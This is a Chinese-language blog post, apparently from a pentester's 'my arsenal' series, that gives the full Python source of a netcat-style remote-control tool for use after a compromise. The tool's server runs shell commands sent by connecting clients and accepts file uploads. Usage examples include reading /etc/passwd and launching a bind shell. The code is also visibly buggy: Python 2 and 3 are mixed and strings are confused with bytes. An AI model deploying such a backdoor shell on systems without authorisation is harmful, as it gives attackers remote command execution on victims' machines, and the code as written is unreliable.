相信多数渗透人员在初级阶段更多通过已有工具(metasploit、nmap、nessus等等)实现对目标系统渗透,这可以让我们注意力更多的放在如何去渗透目标,但工具不能解决所有问题,针对于特殊情况,我们需要编写代码,构造具有针对性脚本进行渗透。
#我的武器库系列#其目的是自我学习过程中,对已有知识重新梳理,新知识加强固化。系列将不定时更新,语言以python为主,内容包括:远控、代理、抓包分析(基于python、c的两种实现方式)、arp投毒、arp欺骗等等。
一、远控代码实现原理
远控的重要性不言而喻,渗透人员渗透成功后,可以通过远控进行一系列操作,本文远控代码分为,客户端、服务端、命令执行等三个核心方法。1.首先启动服务端绑定IP与端口;2.通过客户端连接服务端;3.客户端向服务端发送shell指令。
二、远控代码
#!/usr/bin/python3.6
#coding:utf-8
import sys;
import socket;
import getopt; #专门用来处理命令行参数,如:netcat.py -t 192.168.1.10 -p 5555 -l -c
import threading;
import subprocess;#开启子进程
#全局变量定义
listen = False; #监听
command = False; #命令
upload = False; #上传
excute = ""; #执行
target = ""; #目标
upload_destination = ""; #上传路径
port = 0;
#帮助
def usage():
print("*************************************");
print("NET 工具 ");
print("使用 netcat.py -t target_host -p port");
print("-l --listien [host]:[port] 连接");
print("-e --execute=file_to_run 执行的文件");
print("-c --command 命令");
print("-u --upload=destination 上传路径");
print("");
print("");
print("例子");
print("netcat.py -t 192.168.1.10 -p 5555 -l -c");
print("netcat.py -t 192.168.1.10 -p 5555 -l -u=c:\\test.ext");
print("netcat.py -t 192.168.1.10 -p 5555 -l -e=\"cat /etc/passwd\"");
print("echo 'ABCDE' | ./netcat.py -t 192.168.1.10 -p 123");
print("*************************************");
sys.exit(0);
#客户端
def client_sender(buffer):
print(buffer+"<----");
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM);#IPV4,TCP
try:
client.connect((target,int(port))); #连接
if len(buffer):
client.send(buffer);
while True:
recv_len = 1;
response = "";
while recv_len:
data = client.recv(4096); #读取数据
recv_len = len(data); #计算长度
response += data;
if recv_len < 4096:
break;
print(response);
#等待更多的输入
buffer = raw_input("<NETCAT:#>");
print("客户端发送数据::"+buffer);
buffer += "\n";
client.send(buffer);
except Exception as e:
print ("异常退出!");
print(e);
client.close();
#执行命令
def run_command(command):
#换行, 删除 command 字符串末尾的指定字符(默认为空格).
command = command.rstrip();
try:
#返回的是子程序的执行结果
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True);
if len(output) == 0:
output = "success";
except:
output = "错误的指令\r\n";
return output;
#服务端处理方法
def client_handler(client_socket):
global upload;
global excute;
global command;
#检测要上传的文件
if len(upload_destination):
#读取文件字符
file_buffer = "";
while True:
data = client_socket.recv(1024); #服务端获取内容
if not data:
break;
else:
file_buffer += data;
try:
#打开文件,将file_buffer内容写到文件中,关闭连接
file_descriptor = open (upload_destination,"wb");
file_descriptor.write(file_buffer);
file_descriptor.close();
client_socket.send("文件已上传");
except:
client_socket.send("写文件失败");
if len (excute):
output = run_command(excute);
client_socket.send(output);
if command:
client_socket.send("连接成功..");
while True:
cmd_buffer = "";
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024);#获取指令
response = run_command(cmd_buffer); #执行指令
client_socket.send(response);
#服务端
def server_loop():
global target;
if not len(target):
target = "0.0.0.0"; #如果没有,监听所有接口
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM);#IPV4,TCP
server.bind((target,int(port)));#绑定
server.listen(5); #最大连接数
while True:
client_socket,addr = server.accept(); #监听连接
#创建进程用来处理新的客户端信息,调用client_handler方法
client_thread = threading.Thread(target=client_handler,args=(client_socket,));
client_thread.start();
#主方法
def main():
global listen;
global port;
global excute;
global command;
global upload_destination;
global target;
#获取输入参数,如果没有则进行提示
if not len(sys.argv[1:]):
usage();
#读取命令行内容
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","excute","target","port","command","upload"]);
#输入示例:python netcat.py -t 192.168.1.102 -p 5555 -e="cat /etc/passwd";输出效果:('-t', '192.168.1.102'), ('-p', '5555'), ('-e', '=cat /etc/passwd')]
except getopt.GetoptError as err:
print(str(err));
usage();
for o,a in opts:
if o in ("-h","--help"):
usage();
elif o in ("-l","--listen"):
listen = True;
elif o in ("-e","--excute"):
excute = True;
elif o in ("-c","--commandshell"):
command = True;
elif o in ("-u","--upload"):
upload_destination = a;
elif o in ("-t","--target"):
target = a;
elif o in ("-p","--port"):
port = a;
else:
print("请输入正确指令");
usage();
if not listen and len(target) and port > 0:
#ctrl+d是结束输入,read并不会像input那样遇到回车就返回读取的数据,它会缓存或者 等到ctrl+d再读取数据
buffer = sys.stdin.read();
client_sender(buffer);
if listen:
server_loop();
main();
服务端启动:python netcat.py -l -t 127.0.0.1 -p 9998 -c
客户端启动:python netcat.py -t 127.0.0.1 -p 9998
三、说点其它
多数渗透人员很少对自己编写的工具考虑细节问题,不会过多考虑编写代码、工具的鲁棒性。上文以了解核心实现原理为思想,所以存在很多细节及不当之处需要完善。